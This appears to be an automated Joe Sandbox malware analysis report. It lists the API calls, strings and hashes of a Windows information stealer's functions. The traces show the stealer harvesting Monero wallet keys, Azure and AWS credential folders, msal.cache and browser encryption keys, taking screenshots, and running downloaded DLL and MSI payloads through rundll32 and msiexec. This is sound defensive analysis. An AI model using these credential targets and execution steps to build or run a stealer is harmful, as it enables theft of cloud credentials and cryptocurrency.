Part of subcall function 0093A920: lstrcat.KERNEL32(00000000), ref: 0093A982

Part of subcall function 0093A8A0: lstrcpy.KERNEL32(?,00940E17), ref: 0093A905

Part of subcall function 0093A9B0: lstrlen.KERNEL32(?,01059110,?,\Monero\wallet.keys,00940E17), ref: 0093A9C5
Part of subcall function 0093A9B0: lstrcpy.KERNEL32(00000000), ref: 0093AA04
Part of subcall function 0093A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0093AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0105DDA0,00000000,?,0094144C,00000000,?,?), ref: 0092CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0092CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0092CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0092CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0092CAD9
StrStrA.SHLWAPI(?,0105DDD0,00940B52), ref: 0092CAF7
StrStrA.SHLWAPI(00000000,0105DE60), ref: 0092CB1E
StrStrA.SHLWAPI(?,0105DB98,00000000,?,00941458,00000000,?,00000000,00000000,?,01058ED0,00000000,?,00941454,00000000,?), ref: 0092CCA2
StrStrA.SHLWAPI(00000000,0105DB58), ref: 0092CCB9

Part of subcall function 0092C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0092C871
Part of subcall function 0092C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0092C87C

StrStrA.SHLWAPI(?,0105DB58,00000000,?,0094145C,00000000,?,00000000,01058EE0), ref: 0092CD5A
StrStrA.SHLWAPI(00000000,01058FF0), ref: 0092CD71

Part of subcall function 0092C820: lstrcat.KERNEL32(?,00940B46), ref: 0092C943
Part of subcall function 0092C820: lstrcat.KERNEL32(?,00940B47), ref: 0092C957
Part of subcall function 0092C820: lstrcat.KERNEL32(?,00940B4E), ref: 0092C978

lstrlen.KERNEL32(00000000), ref: 0092CE44
CloseHandle.KERNEL32(00000000), ref: 0092CE9C

Strings

, xrefs: 0092C9C6

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 7da5857daf67fbccb3e57bf0ca00b70c67e9ed4b25e39ad84ddfd03b5c0ce1bc
Instruction ID: f0a7227fc78ea891598f9e144d484d0440ce95500cef161096c79f89000650c0
Opcode Fuzzy Hash: 7da5857daf67fbccb3e57bf0ca00b70c67e9ed4b25e39ad84ddfd03b5c0ce1bc
Instruction Fuzzy Hash: C4E1FC72D00108ABDB14EBA4DC96FEEB778AF94300F404159F146B7191EF746A4ACF66

Function 00938320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0093A740: lstrcpy.KERNEL32(00940E17,00000000), ref: 0093A788

RegOpenKeyExA.ADVAPI32(00000000,0105ACD0,00000000,00020019,00000000,009405B6), ref: 009383A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00938426
wsprintfA.USER32 ref: 00938459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0093847B
RegCloseKey.ADVAPI32(00000000), ref: 0093848C
RegCloseKey.ADVAPI32(00000000), ref: 00938499

Part of subcall function 0093A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0093A7E6

Strings

- , xrefs: 009385A3
?, xrefs: 0093837A
%s\%s, xrefs: 0093844D

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: 46375cf0256429d3fd0f7637d42549b3b0ee8fd5f2060d75db8f2f682bc1403b
Instruction ID: c310345c30f9e9d7734b41571f9ad014d2e905d43fce03d412ea4030076ee267
Opcode Fuzzy Hash: 46375cf0256429d3fd0f7637d42549b3b0ee8fd5f2060d75db8f2f682bc1403b
Instruction Fuzzy Hash: CF810BB1910218ABDB24DB50CC95FEAB7B8FF88700F008699F14AA7180DF756B85CF95

Function 00934D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00938DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00938E0B

lstrcat.KERNEL32(?,00000000), ref: 00934DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00934DCD

Part of subcall function 00934910: wsprintfA.USER32 ref: 0093492C
Part of subcall function 00934910: FindFirstFileA.KERNEL32(?,?), ref: 00934943

lstrcat.KERNEL32(?,00000000), ref: 00934E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00934E59

Part of subcall function 00934910: StrCmpCA.SHLWAPI(?,00940FDC), ref: 00934971
Part of subcall function 00934910: StrCmpCA.SHLWAPI(?,00940FE0), ref: 00934987
Part of subcall function 00934910: FindNextFileA.KERNEL32(000000FF,?), ref: 00934B7D
Part of subcall function 00934910: FindClose.KERNEL32(000000FF), ref: 00934B92

lstrcat.KERNEL32(?,00000000), ref: 00934EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00934EE5

Part of subcall function 00934910: wsprintfA.USER32 ref: 009349B0
Part of subcall function 00934910: StrCmpCA.SHLWAPI(?,009408D2), ref: 009349C5
Part of subcall function 00934910: wsprintfA.USER32 ref: 009349E2
Part of subcall function 00934910: PathMatchSpecA.SHLWAPI(?,?), ref: 00934A1E
Part of subcall function 00934910: lstrcat.KERNEL32(?,0105E730), ref: 00934A4A
Part of subcall function 00934910: lstrcat.KERNEL32(?,00940FF8), ref: 00934A5C
Part of subcall function 00934910: lstrcat.KERNEL32(?,?), ref: 00934A70
Part of subcall function 00934910: lstrcat.KERNEL32(?,00940FFC), ref: 00934A82
Part of subcall function 00934910: lstrcat.KERNEL32(?,?), ref: 00934A96
Part of subcall function 00934910: CopyFileA.KERNEL32(?,?,00000001), ref: 00934AAC
Part of subcall function 00934910: DeleteFileA.KERNEL32(?), ref: 00934B31

Strings

\.IdentityService\, xrefs: 00934ED9
msal.cache, xrefs: 00934EF0
Azure\.azure, xrefs: 00934DD3
*.*, xrefs: 00934E64
Azure\.aws, xrefs: 00934E5F
\.aws\, xrefs: 00934E4D
*.*, xrefs: 00934DD8
\.azure\, xrefs: 00934DC1
Azure\.IdentityService, xrefs: 00934EEB

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 99f88c2adf9ffb5c36bc8f223cbd16740ba3642900bb43b61cc6f922172bd4a7
Instruction ID: ff31aef8b711b03045ff37fc329634e358cbdcbbcffa4fc8e67dbb407463682b
Opcode Fuzzy Hash: 99f88c2adf9ffb5c36bc8f223cbd16740ba3642900bb43b61cc6f922172bd4a7
Instruction Fuzzy Hash: 1341517A94030466CB54F770EC47FED7738ABA4704F004494B689670C1EEB5ABC98F92

Function 00939010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0093906C

Strings

image/jpeg, xrefs: 00939136

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: c343a8e65c877090fd39372a91787e53b7b843fba733ee094763d5b31ba51521
Instruction ID: c96ec0e24fa1b0cb2613734448cc1524c36fa632c54ada5238c0b94cb282f036
Opcode Fuzzy Hash: c343a8e65c877090fd39372a91787e53b7b843fba733ee094763d5b31ba51521
Instruction Fuzzy Hash: 7C71A9B5910208ABDF04EBE4DD89FEEB7B9AF88700F108518F515A7294DB78A905CF61

Function 00932E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0093A740: lstrcpy.KERNEL32(00940E17,00000000), ref: 0093A788

ShellExecuteEx.SHELL32(0000003C), ref: 009331C5
ShellExecuteEx.SHELL32(0000003C), ref: 0093335D
ShellExecuteEx.SHELL32(0000003C), ref: 009334EA

Strings

.msi, xrefs: 00933398
<, xrefs: 00933490
C:\Windows\system32\rundll32.exe, xrefs: 00933332
"" , xrefs: 0093309A
C:\Windows\system32\msiexec.exe, xrefs: 009334BF
/passive, xrefs: 0093345B
/i ", xrefs: 009333E4
.dll, xrefs: 009331E5

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: dcb708c4190260a6ec4a748979d1ae4aa5b6448c206b9641b503f4044403f30b
Instruction ID: e64ea95f77d809104f4d141f13c1adf7088fd9774d0fe27398c153fd97e7c13e
Opcode Fuzzy Hash: dcb708c4190260a6ec4a748979d1ae4aa5b6448c206b9641b503f4044403f30b
Instruction Fuzzy Hash: 15120D71810108AADB19FBA0DC92FEEB778AF94300F504169F54776191EF742B4ACFA6

Function 009352C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0093A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0093A7E6

Part of subcall function 00926280: InternetOpenA.WININET(00940DFE,00000001,00000000,00000000,00000000), ref: 009262E1
Part of subcall function 00926280: StrCmpCA.SHLWAPI(?,0105E790), ref: 00926303
Part of subcall function 00926280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00926335
Part of subcall function 00926280: HttpOpenRequestA.WININET(00000000,GET,?,0105EAD0,00000000,00000000,00400100,00000000), ref: 00926385
Part of subcall function 00926280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 009263BF
Part of subcall function 00926280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 009263D1

Part of subcall function 0093A8A0: lstrcpy.KERNEL32(?,00940E17), ref: 0093A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00935318
lstrlen.KERNEL32(00000000), ref: 0093532F

Part of subcall function 00938E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00938E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00935364
lstrlen.KERNEL32(00000000), ref: 00935383
lstrlen.KERNEL32(00000000), ref: 009353AE

Part of subcall function 0093A740: lstrcpy.KERNEL32(00940E17,00000000), ref: 0093A788

Strings

ERROR, xrefs: 0093530A
ERROR, xrefs: 00935432
ERROR, xrefs: 009353B9
ERROR, xrefs: 0093546F
ERROR, xrefs: 009354A9

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: faeec002b4c400a5992651840c55820aa66f70af09f150c856e3b58d72daf459
Instruction ID: c8bb48455419a3da6039e7a1ba6c6d16ebb9e74e2cd1af84ace3d08270510dff
Opcode Fuzzy Hash: faeec002b4c400a5992651840c55820aa66f70af09f150c856e3b58d72daf459
Instruction Fuzzy Hash: 4D51D970910148ABCB18EF60D996BEE7779AF94300F504018F446AB592EF346B46DFA6

Function 009312D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 482e7d00b5f555caf8c6f157c38ae8ef183608bb717676e2c074c4b759e9d5a0
Instruction ID: b23a234bf21e1a9e20eb3e6286bb9063655c234737e0bc551e947bbbb09d6d2d
Opcode Fuzzy Hash: 482e7d00b5f555caf8c6f157c38ae8ef183608bb717676e2c074c4b759e9d5a0
Instruction Fuzzy Hash: ECC1A6B59002199BCF14EF60DC89FEE7379BBA4304F104598F50AA7291EF74AA85CF91

Function 00934280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00938DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00938E0B

lstrcat.KERNEL32(?,00000000), ref: 009342EC
lstrcat.KERNEL32(?,0105E360), ref: 0093430B
lstrcat.KERNEL32(?,?), ref: 0093431F
lstrcat.KERNEL32(?,0105DDB8), ref: 00934333

Part of subcall function 0093A740: lstrcpy.KERNEL32(00940E17,00000000), ref: 0093A788

Part of subcall function 00938D90: GetFileAttributesA.KERNEL32(00000000,?,00921B54,?,?,0094564C,?,?,00940E1F), ref: 00938D9F

Part of subcall function 00929CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00929D39

Part of subcall function 009299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 009299EC
Part of subcall function 009299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00929A11
Part of subcall function 009299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00929A31
Part of subcall function 009299C0: ReadFile.KERNEL32(000000FF,?,00000000,0092148F,00000000), ref: 00929A5A
Part of subcall function 009299C0: LocalFree.KERNEL32(0092148F), ref: 00929A90
Part of subcall function 009299C0: CloseHandle.KERNEL32(000000FF), ref: 00929A9A

Part of subcall function 009393C0: GlobalAlloc.KERNEL32(00000000,009343DD,009343DD), ref: 009393D3

StrStrA.SHLWAPI(?,0105EC20), ref: 009343F3
GlobalFree.KERNEL32(?), ref: 00934512

Part of subcall function 00929AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00924EEE,00000000,00000000), ref: 00929AEF
Part of subcall function 00929AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00924EEE,00000000,?), ref: 00929B01
Part of subcall function 00929AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00924EEE,00000000,00000000), ref: 00929B2A
Part of subcall function 00929AC0: LocalFree.KERNEL32(?,?,?,?,00924EEE,00000000,?), ref: 00929B3F

lstrcat.KERNEL32(?,00000000), ref: 009344A3
StrCmpCA.SHLWAPI(?,009408D1), ref: 009344C0
lstrcat.KERNEL32(00000000,00000000), ref: 009344D2
lstrcat.KERNEL32(00000000,?), ref: 009344E5
lstrcat.KERNEL32(00000000,00940FB8), ref: 009344F4

Memory Dump Source

Source File: 00000001.00000002.1381891899.0000000000921000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000001.00000002.1381863597.0000000000920000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1381891899.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000DDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E03000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E0A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1384277348.0000000000E19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386099287.0000000000E1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386252254.0000000000FB6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1386270673.0000000000FB7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_920000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 2b35810416edf9ba1e8179e89fe7c943d37310d05e0fdc69f09707fe1091a317
Instruction ID: 35c2ede3c1b4c82ef15a170e5134e92e6b8132b374222c304583fe3a5be8f32f
Opcode Fuzzy Hash: 2b35810416edf9ba1e8179e89fe7c943d37310d05e0fdc69f09707fe1091a317
Instruction Fuzzy Hash: E97134B6900218ABCF14EBA0DC85FEE777DAB88300F044598F605A7181EE75EB45CFA1

Function 00921310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 009212A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 009212B4
Part of subcall function 009212A0: RtlAllocateHeap.NTDLL(00000000), ref: 009212BB
Part of subcall function 009212A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 009212D7
Part of subcall function 009212A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 009212F5
Part of subcall function 009212A0: RegCloseKey.ADVAPI32(?), ref: 009212FF

lstrcat.KERNEL32(?,00000000), ref: 0092134F
lstrlen.KERNEL32(?), ref: 0092135C
lstrcat.KERNEL32(?,.keys), ref: 00921377

Part of subcall function 0093A740: lstrcpy.KERNEL32(00940E17,00000000), ref: 0093A788

Part of subcall function 0093A9B0: lstrlen.KERNEL32(?,01059110,?,\Monero\wallet.keys,00940E17), ref: 0093A9C5
Part of subcall function 0093A9B0: lstrcpy.KERNEL32(00000000), ref: 0093AA04
Part of subcall function 0093A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0093AA12

Part of subcall function 0093A8A0: lstrcpy.KERNEL32(?,00940E17), ref: 0093A905

